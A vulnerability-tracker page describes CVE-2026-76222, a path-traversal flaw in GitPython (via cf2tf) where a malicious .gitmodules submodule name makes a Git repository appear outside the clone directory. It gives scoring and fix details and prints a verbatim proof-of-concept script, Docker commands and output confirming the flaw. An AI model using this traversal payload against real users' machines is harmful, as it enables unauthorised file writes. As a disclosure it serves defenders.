CVE-2026-76222VulnerabilityPublished 20 Aug 2026Updated 26 Oct 2026

cf2tf · GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in

Affects cf2tfSource GCVE Database

Mentioned vulnerabilities

CVE-2018-11235

Authoritative record:CVE-2026-76222· High 8.4

Not known to be exploited · CVSS 8.4 High : upgrade to 0.9.2_8 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

8.4High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 36% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_8

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: Passive
Vulnerable system confidentiality: None
Vulnerable system integrity: High
Vulnerable system availability: Low
Subsequent system confidentiality: None
Subsequent system integrity: High
Subsequent system availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Passive: Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker’s payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
Subsequent system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Subsequent System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Subsequent System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 19 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_8.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_8	Fixed in 0.9.2_8

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule

References

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